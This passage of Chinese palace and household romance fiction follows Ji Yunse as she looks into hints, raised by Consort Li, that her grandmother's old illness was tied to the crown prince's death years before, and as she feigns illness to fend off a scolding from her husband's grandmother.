纪云瑟淡淡一笑,把话题引开,问起她如今的近况。 沈绎将熬好的安胎药送过来,看孙雪沅喝过之后,再为她诊脉。他神色轻松,道:“娘娘脉象稳中有力,胎气已安,日常静养即可。” “好,有劳了。” 纪云瑟又问起晟和公主,孙雪沅眉眼间尽是温柔笑意,与她说了许多孩子日常的趣事,又道: “你也莫急,明年这个时候,指不定孩子也 抱手上了呢!” 纪云瑟忙摆手道: “我不急。” 说笑间,有宫人来报,宫妃们过来给皇后请安,话音刚落,几位华冠丽服的妃嫔款步而入,先向孙雪沅行礼。 纪云瑟早已起身,在她们几人落座后,也屈膝行礼。 都是老熟人,其中的李妃、杨妃和杜嫔从前经常给太后请安,她自是认识。其他两人估摸着是许久之前册封的贵人,不得寿康宫传召,极少在太后跟前露面,故而她没有印象。 她们对纪云瑟倒是十分客气,彼此寒暄了几句,话语便落回了孙雪沅身上。 杨妃接过宫女上来的新茶饮了一口,笑道: “娘娘近日气色越发好了,可见肚子里又是个听话的孩子,一点儿都不折腾娘亲。” 杜嫔也在一旁笑道: “正是呢,咱们几个时常说起娘娘,皆感叹您自怀上龙胎后,除了更加雍容端庄,竟没有别的变化。” 其他两位贵人也纷纷附和,屋内气氛看着十分和谐。 纪云瑟从前就听说,永安帝十分看重雪沅,封了皇后依旧是独宠,如今见几位妃嫔笑意盈盈,言语间也并无半分妒意,不由心生佩服。 杜嫔又道: “前些时日,嫔妾的娘家兄弟从南海回来,给嫔妾带了一株极难得的珊瑚,通体赤红如火,说是有驱邪避灾保平安之效。” “嫔妾身份卑微,不敢独享,今日特地带过来,献给皇后娘娘。” 说着,便让宫人捧了进来,是株红珊瑚,色彩鲜艳,光泽温润,的确罕见。 孙雪沅含着笑,正要推辞,却听一直不曾开口的李妃突然道: “嫔妾看太医尚未离开,不如让他先瞧一瞧,若是没有异样,娘娘再留下。” “娘娘如今怀有身孕,还是谨慎些好。” 见李妃转头看着殿外提着药箱与宫人交待什么的沈绎,杜嫔愣了愣,随即反应过来,有些忿忿道: “李妃姐姐这是何意?莫不是怀疑我要害娘娘?” 李妃面上依旧没有表情,只缓缓道: “我不针对任何人。” “只是为了皇后娘娘好,也为了杜嫔妹妹好。” 她向身旁的随侍宫女道: “去把沈太医请进来,先让他验一验本宫带来的送与小皇子的两件肚兜。” 杜嫔还想辩驳几句,听她如此一说,只得缄了口。 沈绎果然被叫了回来,一样一样细细地查验,片刻后向孙雪沅道: “禀娘娘,均无异样。” “可放心用。” 孙雪沅打着圆场,笑道: “李妃有心了,也多谢杜嫔事事想着本宫。” 她示意丁香将肚兜拿来,抚着上面绣着的栩栩如生的虎头和莲花图案,赞道: “早就听闻李妃擅刺绣,果然名不虚传。” 又认真地看了看放在她炕桌上的红珊瑚,道: “此珊瑚亦是难得的精品,本宫还从未见过这样好看的呢!” 忙命人给每人相应的赏赐,算是谢礼。 纪云瑟坐在最末,看着几位神色各异的妃嫔,和一脸无奈的孙雪沅,端起手边的茶碗,吹开茶沫子,饮了一口茶。 后宫素来就是是非之地,她一个外臣命妇,实在不适合在此时开口。 不禁感叹,雪沅每日应付这些嫔妃,也是不易。 不过,她突然有些疑惑,雪沅怀孕已经五个月,而嫔妃们送她物什似乎并不罕见,为何在她今日凑巧踏入凤仪宫时,李妃来了这么一出? 她的目光不禁看向坐在孙雪沅下手的李妃,这位后宫年纪最长的妃子,容色平平,生得慈眉善目的模样。虽育有如今的最大的皇子裕王赵檀,却一直低调寡言,从不争宠,也极少参与宫中是非。 从前在寿康宫时,她也只有太后有诏时才偶尔露面,但只要去了,对太后是勤谨服侍,事必躬亲。 似乎还没有儿媳妇裕王妃吴氏在后宫的存在感强一些。 正思索间,李妃似察觉到了她的目光,随即向她看过来,神色平静淡然,二人四目相对的一瞬,又仿佛透着几分深意。 不多时,几位妃嫔向孙雪沅告辞,纪云瑟起身行礼相送后,默了一瞬,向孙雪沅道: “臣妇也不打搅娘娘休息了,改日再来探望娘娘。” 孙雪沅还想再留她,纪云瑟只道,晏时锦见了陛下后会在顺贞门等她,孙雪沅听了这话,笑了笑,便不再强留,拉着她的手,道: “好,过两日再来陪我说说话。” 纪云瑟行礼向她告辞,步出凤仪宫门,加快了脚步向御花园的方向,果不其然,有一道姜黄色衣角在御湖旁的一块太湖石后随风若隐若现,听到她的脚步声后,有人走了出来,正是李妃。 她抬手示意身旁的宫女退下,纪云瑟走近微微欠身,道: “不知娘娘在此等臣妇,可是有何吩咐?” 李妃上下打量了她一番,神色难辨善恶: “能多次逃脱贤妃算计,又能从宫里全身而退,最后成为晏国公世子夫人的姑娘,果然是个聪明的,竟猜到了本宫有事相告。” 纪云瑟眸中异色一闪而过,道: “娘娘谬赞了,有话请直说。” 她从前并未与李妃打过任何交道,没有想到此人竟然对几年前她与贤妃的官司和她在后宫的处境了解颇深。不过,她早该想到,这位曾经是宫女出身,却能顺利诞下皇子,更能在后宫屹立几十年不倒的妃子,怎么会是省油的灯。 李妃不是拐弯抹角的性子,靠近了她一步,道: “本宫想问问你,令祖母纪太夫人是死于何症?” 纪云瑟愣了愣,不知她为何会提到这个,有些茫然不解地看着她,道: “臣妇的祖母素来身子不好,一直旧疾缠身,不知娘娘此话何意?” 李妃道: “纵是旧疾,也该有个起始的缘故,不知纪太夫人是从何时起,开始染上这治不好的痼症呢?” 见纪云瑟陷入思绪,她又似乎在提醒道: “那段时日,是否有什么异常?” “听闻纪太夫人与太后娘娘从前是手帕交,是会骑马狩猎的将门女子,可不是普通后宅里养尊处优娇滴滴的大小姐。” 纪云瑟心头一震,不错,她早听祖母提起,与太后从前自幼习武,身子骨强健,从不轻易染病。 若是她没有记错的话,效猗说过,祖母染上那旧疾,与太后的身子突然每况愈下,似乎是同一时期。 那时,她才几个月大,刚刚被抱到祖母的院子里,父亲原本顾念祖母的身子,是打算将她送至叔伯家帮忙照看的,却因祖母坚持,才留在了自己家。 太后,和祖母? 纪云瑟突然想到,在太后刚去世时,自己曾经怀疑过她老人家从前突然患病是否有别的缘故,还曾问过夫子,听他说并无疑点才没有再追究。 如今想来,祖母似乎也有同样的问题。 太后还能说是因皇长子和长公主接连去世受了打击,而导致身体垮下来,但祖母呢? 她缓缓抬眸看向李妃,也不想再与她客气,道: “娘娘若是知道什么,请直说。” 李妃眼底掠过一抹深意: “你那时恐是刚刚出生而已,自是什么都不知道,那本宫便告诉你,那段时间还发生了什么。” “永安四年秋,皇长子突然夭折,同年十月,太后开始缠绵病榻。” “如果我没有猜错的话,纪太夫人也大约是那年底,染上‘旧疾’的吧?” 纪云瑟浑身一颤,蹙眉看向她: “娘娘究竟是何意?” 李妃略带深意地看向她: “本宫言尽于此。” “至于其他的,夫人大可回去问问你家世子。” 100-110 第101章 纪云瑟不知自己是如何走到顺贞门。明明初秋的天气阳光依旧炙热,但她却能感到一阵突然的寒意从脚底的青石板上传来,直抵脑门,连带着思绪也变得冷冽起来。 李妃的意思再明显不过,祖母并非真正因病而逝,她突然患病,与太后有关,或者说,最终与皇长子的夭折有关。 而晏时锦早已知晓此事的真相。 那他为何没有与她提起过? 是不想让她伤心难过,还是有什么别的缘故? 候在马车上的效猗见她出了宫,下来迎她,小心翼翼扶着她上脚凳,带着几分诧异道: “姑娘的手为何这样冷?” “是皇后娘娘宫里还在用冰么?” 纪云瑟坐定后,道: “走,回府。” 效猗给她斟了一杯热茶,道: “姑娘忘了么?” “姑爷说与咱们一同回去。” 纪云瑟道: “不等他了,我们先走。” 效猗有些诧异地看了她一眼,随即吩咐车夫驾马离开。 纪云瑟接过她手中的茶却没有喝,放回了小几上,向效猗问道: “你还记得,祖母最早犯病时,有何症状么?” 效猗一下愣住,不解地看向她,道: “姑娘为何突然问这个?” 纪云瑟紧紧地抓住她的手,道: “那时你虽年纪小,但你认真地想一想,应该能记起一些,想清楚再答我。” 效猗见自家姑娘如此郑重其事的模样,也不敢再问其他,仔细回忆起来。 她是纪府家生的婢女,那时也不过六七岁,刚入府里做事,就被母亲送到了老夫人的院子。 那时纪府的光景尚好,老夫人又是最怜贫惜弱的慈蔼性子,故而母亲特地吩咐她让她在老夫人面前好好表现,若是能长长久久地留在老夫人房中,这辈子也就无忧了。 故而,她很懂事地抢着做一些力所 能及的事,小心服侍,老夫人也喜欢她这个勤快开朗的小姑娘,有糕点吃食赏人时,第一个会想到她。 没多久后,她果然被老夫人留在房中,多半是伺候老夫人用膳。 “奴婢想起来了,就是姑娘出生那年,刚抱到老夫人房中养着时。有一日,老夫人早起说心口闷疼,有些堵得慌,恶心想吐,到中午时,突然呕了一口血!” 纪云瑟蹙紧眉头道: “你不会记错么?” “那时,就开始呕血?” 效猗笃定道: “不会错,因为那日老夫人早膳一口都没吃,赏了给奴婢,是奴婢第一次喝牛乳。” 她那时年纪小,对其他的事的确不曾上心,但得了什么好吃的,却记得清清楚楚。 纪云瑟皱眉,恶心,还有吐血这样的症候会涉及到多种缘故,她虽略通些医理,却无法判断具体是什么原因导致。 马车在国公府门前刚刚停好,纪云瑟飞快走下来,径直回到清珩院,在外院的倒座房寻来破竹,吩咐道: “你今晚到章齐侯府走一趟,不要被人发现。” 她靠近了他一步,轻声吩咐了几句,又道: “若是觉得拿不定主意,全部取回来给我。” 破竹应声而去。效猗追了过来,跟着自家姑娘行至后院,见陈嬷嬷不在,忍不住问道: “姑娘,到底发生什么事了?” 崇陶端了水过来给她净手,纪云瑟并不瞒她们两个,将宫里发生的事说了一遍,两个婢女都有些震惊。 效猗道: “既如此,姑娘直接问姑爷不就好了?” “为何……” 纪云瑟看了她一眼: “你认为,李妃为何会如此好心?” 她现在的思路虽有些乱,但也清楚,李妃她说了那样多的目的很明显,似乎就是要她从晏时锦的口中得到真相。 但李妃为何要费心帮她? 效猗一下被问住,她自是知道,就算自家姑娘如今是世子夫人,也不至于让堂堂皇子生母上前讨好。她想了想,道: “可奴婢觉得,姑娘问了姑爷,知道了真相,或许就能知道李妃的目的。” 纪云瑟坐在窗台下的罗汉床上,接过崇陶递过来的茶水,道: “问自然是要问的。” “但不是现在。” 如果晏时锦真的知道的话,直接问他的确是最简单的法子,但是,他明知此事与她的祖母和太后有关却没有第一时间告诉她,又会在她问他之后,说出全部真相么? 以纪云瑟对晏时锦的了解,应当不会。 他若是有缘由地隐瞒了这件事,就算她此刻逼他说,也不能保证会不会糊弄她。 她必须自己先查一查,有些蛛丝马迹后再问他,心里才能有底。 “效猗,如今服侍过祖母的人,我身边只剩下你一个,你再好好想一想,祖母那时多久去一次宫里,大约待多久。” 效猗面露无奈,咬了咬唇,道: “奴婢真的不记得了。” 而且,那时她刚到老夫人院子里,老夫人的行踪,她无权过问知晓。突然,她灵光一动,道: “姑娘,有一个人,肯定知晓!” “奴婢知道她在哪儿,这就去寻她问清楚!” 晏时锦回到清珩院已临近正午,他先问陈嬷嬷: “夫人何时回来的?” 还没听陈嬷嬷回答,人已经掀帘闪入了屋内,陈嬷嬷摇头笑了一声,自去吩咐小厨房摆饭。 “不是让你等我么?” “为何抛下我不顾?” 他净了手,径直走到坐在窗台边撑着脑袋发呆的少女身旁,捏了捏她的小脸。 纪云瑟抬眸看了他一眼,面无表情,道: “不好意思,我忘了。” 晏时锦只当她是累了,为她捏了捏肩膀,随口问道: “与皇后聊什么了?” 纪云瑟侧头看了他一眼,挑眉道: “你每日与别人说了什么,做了什么,会想着告诉我么?” 晏时锦: “……” “都是些朝野政事,你想听?” 纪云瑟托腮看向窗外,幽幽道: “我想听什么你会不知道?” 但她却猜不透为何他会明知真相而不告诉她,如果她能凭自己的本事离真相近一些,或许能知道这厮有没有别的心思。 不过,此刻她还不宜让这厮发觉什么。 目光收回,纪云瑟双手勾住了他凑近的脖颈,道: “我累了,抱我去用膳。” “那我要先讨些好处。” 男子顺势搂住了她的腰,将她整个人揽入怀中。 谁知刚用过午膳,紫电匆忙寻来,晏时锦行至外书房,听他耳语了几句后,不再有别的心思,二人出门跨上马,直奔京卫司衙门。 谢绩已经在那儿等他,一同步入指挥使官廨,谢绩将一封信函呈上,道: “禀指挥使,属下的人刚刚截获一封送往南越使团所居驿馆的密信。” 晏时锦在圈椅上坐下,拆开一看,却见里面是南越文,他正要质问为何不译过之后再拿来,待细细一瞧,不耐道: “这是封假信!” 谢绩一脸疑惑,接过来前后翻看: “怎么会是假的……” 晏时锦看傻子似的看了他一眼: “字体笔划如此不流畅,明显是摹写的!” “何处得来的?” 谢绩正要说哪里能一眼瞧出是摹写,却听这位顶头上司沉下脸,道: “况且,你不觉得奇怪么?” “陛下刚刚吩咐了我们去查南越使团,这封信就到了你手里,为何会如此得来全不费工夫!” 谢绩本想辩解,其实还是费了一番工夫的,但对上晏时锦冷戾的黑眸,又将话堵了回去,的确如此,这东西不仅来得巧,还来得快! 他试探问道: “指挥使的意思是……” 晏时锦斜睨他一眼: “你觉得,是谁会想尽快落实夏氏与南越使团私下有来往之罪?” “那就按这个思路去查!” “既要查夏氏,也要查夏氏的死对头!” “死对头?……” 谢绩霎时豁然开朗: “属下这就去!” 晏时锦拧了拧眉心,吩咐一旁的青霜,道: “派几个暗卫,再去查一查,最近南越与西南四州有什么特别的往来。” “还有,将裕王近来的行踪,明日报给我。” 青霜抱拳应声而去。 紫电为他斟了一杯茶过来,道: “世子怀疑,密信是裕王授意人写的?” 晏时锦道: “都有可能。” 这封轻易到手的信没有任何参考价值,但这事本身却是一个信号。 紫电若有所思,随即道: “对了,今日,李妃也去了探望皇后娘娘。” 自家主子早已派人在宫中盯紧夏贤妃和李妃的行踪,他将李妃在凤仪宫的举动细说了一番,又突然想起什么,道: “还有,李妃似特意在御花园等夫人,在夫人出宫前,与她聊了许久。” 晏时锦蹙眉: “李妃?” 据他所知,纪云瑟从前在宫里与李妃并无任何交情,二人恐怕连话都没有说过,会刻意找她? 除非是…… 他斜睨了紫电一眼,道: “为何不早说?” 紫电: “……” 这说得还不够及时? 无奈只得跟上了自家主子匆忙回府的脚步。 ~ 效猗尚未回来,纪云瑟也无心午睡,正想让崇陶去将那日剩下的酒拿来饮两口,却见陈嬷嬷匆忙进来,脸色似不太好看,向她道: “夫人,老太太请您到福欣堂走一趟。” 纪云瑟一愣,自从那日敬茶过后,每次给庄氏请安,都是由晏时锦陪着一道去,他何时有空闲就何时去,老太太虽一直冷着脸,当着他的面,倒也不多说什么。 今日这般郑重其事地单独“请”她去,不知是何缘故? 她看向陈嬷嬷,陈嬷嬷无奈摇摇头 : “福欣堂的口风最紧,奴婢也问不到老太太请您去做什么。” 她想了想,道: “要么,奴婢替您去回,就说您刚从宫里回来,累着睡着了,世子吩咐了莫要吵您,故而……” 纪云瑟摆摆手,道: “不用,我去吧!” 她并不惧怕那老太太,况且她已经做了老太太的孙媳妇,总要有单独与她照面的一天,既然躲不掉,早一日面对又何妨? 第102章 福欣堂的绿植葱郁,庄氏年纪大了,不喜歇晌,平日里午膳后,会有妯娌几个老太太过来说话摸牌。 万氏多半也会陪着,唯独今日因娘家有侄女出嫁,她回去了帮忙操持。 荫凉的堂屋内,檀香袅袅。老太太们先坐下喝茶,正说着哪家刚出生的小孙女白白嫩嫩的十分可爱,庄氏心里痒痒的,三房老太太笑道: “大嫂您哪需眼红?二哥儿和四哥儿家已经有了俩小子,五哥儿媳妇也怀上了,这边世子爷和三哥儿刚成婚,想必很快也会有消息。” 说起长孙媳妇,庄氏蹙了蹙眉,脑壳一阵清疼,忙摆摆手刚想说不敢指望她,却听门外的婢女通报: “三少夫人来了。” 几人笑道: “这不是说曹操曹操到么!大嫂您还总说女孩儿好,嫌小子们闹腾,您瞧,大了不就好了,媳妇娶进来,开枝散叶的,多热闹!” 说话间,珠帘划开一道窈窕的身影,成婉思盈盈迈步进来,福了福身: “孙媳给老祖宗请安。” “今日母亲回娘家,特地让孙媳来陪老祖宗。” 与其他几人见礼后,庄氏笑着招手让她坐到身旁来,先问道: “听说你前两日也回了娘家,你娘和祖母她们身子还好么?” “可有替我问候?” 成婉思乖巧地依着她端坐下,点点头,道: “都好,孙媳提起老祖宗一直挂念母亲和祖母,她们说过些时日就来看望老祖宗。” 庄氏拉着她的手,一脸慈爱,道: “好,亲家们多多走动才是正理。” 几房老太太知道庄氏最疼这个孙媳妇,都在一旁凑趣说笑了几句,庄氏便拉着成婉思坐在牌桌旁,道: “正好我们几个摸牌,上回你坐我旁边,旺得我赢了好些,今日得帮我把前几日输的捞回来。” 说得几个老太太都笑了,道: “大嫂若如此说,咱们几个都不敢上桌了。” 成婉思娇俏一笑,坐在庄氏身后的小杌子上,帮她揉着肩膀,道: “昨日原本是该来陪老祖宗的,谁知,碰上些事,一忙就没顾得上。” 庄氏扶了扶叆叇,看清牌后打了一张出去,随口道: “哦,有什么事?” 成婉思看了几人一眼,故作犹豫地张了张嘴,又叹了口气,道: “罢了,今日老祖宗高兴,还是不提这个好。” 庄氏本就是个装不住事的性子,闻言,果然追问道: “究竟什么事?” 成婉思有些为难,但见几人都停下了手里的牌看向她,只得轻叹一声,道: “昨日,孙媳从娘家回来时,正碰见了大嫂的娘家母亲,纪侯夫人站在门口,说是做了些大嫂平日爱吃的糕点,送来给她尝一尝,孙媳想着她是长辈,便做主让她进去找大嫂,谁知,纪侯夫人说什么都不愿意进门。” “孙媳自是疑惑,一问方知,大嫂归宁那日就没有回娘家,纪夫人只得上门看女儿。不料却被拒之门外,听说她那会子就在门口站了许久,最后是红着眼眶走的。” “唉,孙媳原本也不该插手大嫂的事,但听门房说,那日纪侯夫人被赶出来,街坊邻居都看见了,议论纷纷…” 庄氏的脸色骤然大变,成婉思觑着她,小心道: “孙媳本不该多嘴,但想着这事到底关乎国公府声誉…” “恐怕,还是该劝一劝大嫂。” 庄氏扔了叆叇,向一旁的李嬷嬷问道: “果真有此事?” 李嬷嬷为难地点了点头,这事在国公府也不算秘密,毕竟那魏氏在门外的确迟迟不肯走,仆妇下人们来来往往的,自然会打听议论,也都传开了。 庄氏愤然拍了一掌在桌上,怒道: “岂有此理!” “如此行事,把她给我叫过来!” 其他几房老太太早知庄氏心中对那位世子夫人有芥蒂,平日里多半都不会提起这茬,此刻看这光景,只得各寻了个由头回家。 成婉思却并不惧怕纪云瑟,原本就对她夺了自己长姐的世子夫人之位而耿耿于怀,婆母万氏还总是无缘无故地向着她这个非亲生的儿媳,更别说,那日听婢女提起,看见夫君晏时钰与纪云瑟在院子里有说有笑地聊了许久。 晏时钰的性子成婉思最清楚不过,最喜欢往美貌女子身边凑,若不是她看得紧,早不知惹出什么祸事来了。 纪云瑟抢了世子不说,还敢勾引她夫君,不给点颜色瞧瞧,她成婉思枉为国公府嫡女! 纪云瑟带着陈嬷嬷经婢女通传后步入福欣堂,见到的就是端坐上首神色冷冽的庄氏,和一侧杌凳上面露一丝幸灾乐祸的成婉思。 纪云瑟收回目光,换上得体的微笑,恭敬行礼: “孙媳给祖母请安。” 庄氏深呼一口气,慢条斯理地端起手边的茶碗,吹了吹茶沫子,才抬眼看向纪云瑟,声音冷淡, “知道为何叫你来吗?” 提到这个庄氏又忍不住来气,虽说她不喜这女子,但既嫁了进来,总得拿出点态度向她这个祖母示好吧? 可偏偏这人成婚这么些时日,除了跟着晏时锦过来给她请安,平日里根本见不到她这个长孙媳的人影,从不见主动来孝敬她,如此不懂规矩不识礼,不知那浑小子看上她什么了? 纪云瑟站直身子,目光平静: “孙媳不知,还请祖母明示。” 庄氏轻哼一声,放下茶碗,道: “听说,世子夫人如今谱大得很呐!” “归宁日不回娘家就算了,甚至连母亲上门都拒之门外?” 纪云瑟眸光动了动,老太太唤她来,原来是为这事,又看了一眼成婉思,大概猜到了缘故。 见她不说话,庄氏加重了语气,道: “如此不敬长辈,传出去我国公府的脸面往哪儿搁?” 纪云瑟本不想与这老太太多言自家的事,只答道: “归宁那日,夫君正巧衙门里有事便耽搁了,他说日后再补上。” “至于那日纪侯夫人过来……” 顿了顿,她道: “祖母或许不知,我的生母早已去世……” 庄氏轻哧一声打断她: “那又如何,俗语道,生娘没有养娘亲,你长这么大,难道没有继母的功劳?” “她做继母的若是磋磨你,你能有今日?” “咱们大缙素来最重孝道,你若有不孝之名,如何担当宗妇之责?” 成婉思也在一旁说道: “可不是,纪夫人还特地做了大嫂最爱的糕点,巴巴的送过来,却被您赶走,您是没瞧见她躲着抹泪的样子。唉,大嫂,您实在不该拂了她这份做母亲的心呐!” 纪云瑟目光扫过这位添油加醋的弟媳,低头默了一瞬,给了一个眼神给陈嬷嬷,随即开始抹起泪来: “既然祖母问起,孙媳不敢隐瞒。” “我母亲生我难产而亡,不多久继母进门,我被祖母抱去房中抚养,本就与继母不亲,原本以为相安无事,却不料她私吞了我母亲的所有嫁妆不算,听说我与世子成婚时得了扬州姨母的送嫁,又来讨要。” “还要我说动世子,让他出面到妹妹的夫婿家,给做妾室的妹妹撑腰。” “我为了世子的颜面,断乎不肯,她便日日来寻我,就是想当着街坊邻居的面给我安一个不孝的罪名,让我在国公府无法立足。” 说罢,她极是委屈地大哭了起来,她自是知晓成婉思撺掇庄氏把她叫来,根本不是想知道其中原委,就是找个理由借机教训她而已,她不打算跟她们说自家的那些断不清的官司,更不想遂了她二人的愿。 索性把水搅浑,这些话半真半假,她那个继母会装可怜,她更会! 一旁的陈嬷嬷见此情形,忙配合地上前搀住她,劝道: “少夫人今日晨起就有些不适,又被皇后娘娘召入宫里许久,您快别伤心了,保重身子要紧!” 纪云瑟扶住陈嬷嬷的手,将这十几年经历过的所有痛楚都想了一遍,哭得更加难过起来: “能给他们的,我都给了!” “嬷嬷,你说,我该怎么做,她才会放过我?” 庄氏无论如何也没想过,把这人叫过来教训,话还没说几句,她倒先哭了起来,眼泪鼻涕一大把的,无论她所言是真是假,自己倒不知该如何开口了。 成婉思更是被她这番操作惊呆了,只愣愣地盯着她。 纪云瑟哭了片刻,突然身子一歪,倒在陈嬷嬷的身上,陈嬷嬷大惊失色,忙紧紧扶住她,语无伦次地唤道: “少夫人…少夫人…” “您怎么了?” 庄氏也一下呆住,她身旁的李嬷嬷反应快些,过去帮着陈嬷嬷扶住纪云瑟,看向一旁的圈椅,道: “快让少夫人坐下顺顺气。” 二人扶着她坐下,陈嬷嬷给她轻轻拍着后背,见她似缓了口气,两人放下心来时,又见她突然捂着帕子干呕了起来。 陈嬷嬷着急道: “少夫人您刚吃的午膳就吐了,怎的这会子又犯恶心?这可如何是好?” 李嬷嬷反应极快,问道: “你说少夫人今日都这样?不会是……” 庄氏闻言也坐不住了,她自是知道晏时锦寻到纪云瑟已经好几个月,两个人在江南,恐怕早就已经…… 她立时吩咐人去请府医过来,却听门外婢女的声音: “世子爷来了。” 话音还未落,晏时锦已掀帘入内,一眼看见自己的小妻子靠在陈嬷嬷怀里坐着,满面泪痕,十分虚弱的昏睡模样,心下一凛,立刻上前将她抱起在怀里,看向庄氏道: “若是祖母没有别的吩咐,孙儿先带云瑟回去。” 说罢,立马抱着人快步离开。 庄氏: “……” 直到跨入清珩院内院,晏时锦方放慢了脚步,用鼻尖噌了噌怀里的人儿,轻语道: “不用装了,可以睁开眼了。” 第103章 直到有温热的唇瓣覆上来,纪云瑟才睁开眼,轻捶他一拳: “别闹!祖母定会叫府医来瞧我!” 晏时锦将她放在靠窗的长椅上,抽出一只手刮过她的鼻子: “那你还敢装病?” 纪云瑟忍不住翻了个白眼: “还不是因为你!” 若不是嫁给他,她哪里会被困在这后宅中,应付什么公婆妯娌? 晏时锦坐在她身侧,捏了捏她的脸,无奈道: “我早说过,在新园子收拾好,咱们搬出去住之前的这段时日,不管府里谁叫你去,你若是不想便可不去,我自会帮你兜着。” “可你非不听,还来怪我。” 他倒是觉得这姑娘瞧着挺享受宅院里的人情往来,前几日,万氏不就被她的几番大手笔哄得团团转么?还有老四老五家的,巴不得日日与她一起摸牌。 “不过……” 他突然蹙眉,眸色中闪过一丝狠厉: “成氏和魏氏如此行事,我会给她们一些教训。” 纪云瑟立时起身拉住他的手,道: “不必你费心,我可以应付。” 她已经知道,父亲丢了织造局的差事和抖露纪云惜与孟五郎的私情都是这厮的手笔,估摸着他是为自己打抱不平,生怕他又弄出别的什么不可收拾的事来。 都是后宅女子之间的矛盾龃龉,没有必要。 继母魏氏她压根不想理,晾着不见她就罢了。至于成婉思,肯定要给些教训,不过,她自己亲自动手,才更解气。 晏时锦抚了抚她的发髻,颔首依她。不多时,陈嬷嬷在外叩门,道: “世子,老太太让府医过来给夫人看诊。” 纪云瑟推了推晏时锦,给他使了个眼色,男子却不肯动,挑眉道: “装病的时候,就没想过会被人揭穿?” 纪云瑟挪到他怀里蹭了蹭他,眨眨眼: “哎呀,不是有你在么?” 这会子想到他了!晏时锦低低笑了笑,遂起身行至门外,与府医说了几句话后便返回。纪云瑟这才放心从罗汉床上起身,至梳妆台旁,将几支发簪取下,随口问道: “你怎么与他说的?” 男子净了手,取过一旁的帕子慢条斯理地擦着,看她一眼,道: “说你大约是有了。” “现下刚睡着,让他过几日再来诊脉。” “噗…” 纪云瑟已经坐在月牙桌旁喝水,闻言直接喷了出来,咳嗽了几声,不可置信地看着他: “你…胡说什么!” “我们成婚才几日?” 晏时锦唇角噙笑,过来接过她手中的茶碗放下,帮她顺着后背, “你糊弄祖母时,怎的忘了咱们刚成婚?” 纪云瑟听他这话顿时回过味来,斜眼看他: “这是替你祖母打抱不平来了?” “倒打一耙!” 男子拦腰托膝将她抱起,放坐在自己腿上,目光从她促狭的晶亮眸子移至她的小腹,轻轻抚了上去: “不过也说不准,兴许真有了呢?” 成婚前,府医依例给他诊了脉,说他功能正常,怀孕是水到渠成之事。顿了顿,他问道: “你想要男孩还是女孩?” 纪云瑟: “……” 他为何不先问问她想不想要?不过,她倒是认真想过这个问题, “男孩。” 她自己做为女子,深知这世道对女孩的苛求,若她生来是个男子,或许不会有那样多的身不由己,无论是读书科考或是从军习武,甚至是帮着扬州的姨母做生意,总是有许多的机会闯一番天地。 晏时锦似并不意外,也不与她争辩,颇为从善如流: “好。” 纪云瑟:“……” 她又嗅到了一丝危险的意味,果不其然,下一刻,这厮就开始上下其手: “那咱们再努努力,就不算糊弄祖母了……” 夜凉沉寂,效猗直到天 色擦黑才回来,见晏时锦用了晚膳后,依旧去外书房忙公务,方行至里屋悄声对纪云瑟道: “姑娘,有消息了。” 她此番回京后,听说从前在纪府,曾与她爹娘走得近的几个家生嬷嬷生活有些艰难,便私下去接济了一番,其中有一位,正是一直在纪老夫人房中服侍的,今日特地去寻了她。 “据嬷嬷所言,当年皇长子突然身子不好,太后焦心不已,老夫人便时常入宫陪伴,的确往来十分频繁。” “有时,担心太后娘娘的身子,一陪就是一整日。” 她叹了口气,道: “那时,姑娘您刚送到老夫人身边养着,她夜里要与奶娘一同照顾您,白日里又总往宫里跑,的确有些累人。” “后来有一日,大约是皇长子刚刚薨逝,就是奴婢记得的,老夫人突然晨起不适,午膳时呕了一口血,病了一场。从那之后,她老人家的身子骨就挎了下来。” 纪云瑟想起周嬷嬷与她说起的太后的病情,突然觉得二人不管是生病的时候,还是症候,都有些相似。 究竟是何缘故呢? 竟然连宫里的太医和纪府的大夫都没有瞧出一点端倪? “破竹回来了么?” 效猗摇摇头,又叹气,道: “不过,那么些年,老夫人的屋子早已经空了,估摸着查不到什么。” 纪云瑟有些无精打采,她如今只查到一丁点的苗头,也有可能只是根据巧合的臆想,难不成真的只有去问晏时锦? 不知为何,虽然他们如今是最亲密的人,她也清楚他不至于会害她,但她却似乎做不到无条件地相信他,总觉得他心思深沉,怀疑他会不会有别的小心思。 效猗倒是提醒道: “姑娘您与其费心去找那陈年旧脉案,为何不直接找当年在纪府的大夫?说不准,他还记得一些呢?” 大夫? 一句话让纪云瑟豁然开朗,她道: “这样,明日你让人去太医署走一趟。” 效猗答应着要走,又被自家姑娘叫住,在她耳畔轻语了几句,效猗看了她一眼,道: “奴婢明白了。” ~ 日光澄明,泽辉园西面的水榭,成婉思斜倚在美人靠上,面无表情地将手中的一枝桂花一朵一朵地扯落,浮于水面,一群锦鲤过来争抢,似发觉不是鱼食后,又怏怏地散开。 婢女青鸢气喘吁吁地跑来,深吸了两口气,道: “姑娘,已经问清楚了。” “今日,大少夫人的确请了宫里的太医入府诊治。” 成婉思扔了手中的花枝,轻哧一声: “她这才成婚几日?也不怕人笑话” “生怕人不知道她是个狐媚货色?” 青鸢解释道: “并不是别的,说是昨儿个府医给她瞧过了,有些弱症,恐影响生养,故而特地找宫里有经验的太医开个方子调理。” 她觑着自家姑娘微黯的眼色,上前悄声说道: “但奴婢打听到了一桩秘事。” 成婉思不耐地看着她: “还不快说!” 青鸢道: “今日来的太医,是大少夫人的旧识,他从前曾是章齐侯府的西宾,但年岁不大,和大少夫人算是青梅竹马的情分呢!” “而且,奴婢还听说,当年大少夫人在宫里给太后侍疾时,那位太医也跟着入了宫,而奇怪的是,大少夫人传出死讯后,这位太医也回乡丁忧了,更巧的是,大少夫人一回京城,他竟跟着一同回宫复职了。” 成婉思露出一抹颇具玩味的笑: “哦?这么巧?” 青鸢笃定道: “姑娘放心,奴婢问得清清楚楚,不会有错。” 成婉思道: “你小心到清珩院盯着,若是有什么异样即刻来报我!” 两刻钟后,已经在福欣堂陪着庄氏说了一会儿话的成婉思,等到了青鸢的准信儿,她起身向庄氏道: “老祖宗,昨儿个大嫂犯病,孙媳觉着实在过意不去,想去给大嫂赔礼,又怕她怪罪不肯见我。” 她凑前了一步拉着庄氏的手臂摇了摇,道: “不知老祖宗可愿意陪孙媳走一趟,去瞧一瞧大嫂?” 庄氏听闻,瞬间沉了沉脸,成婉思识趣地微微叹气,弱弱道: “对不起,老祖宗,是孙媳唐突了,怎能让您纡尊呢?” “听闻今日大嫂请了宫里的太医来瞧,还是孙媳自个儿去吧!” 庄氏听到这个,倒是顿了顿,她不喜纪云瑟是真的,但对于晏时锦的子嗣,她却不得不关注,便道: 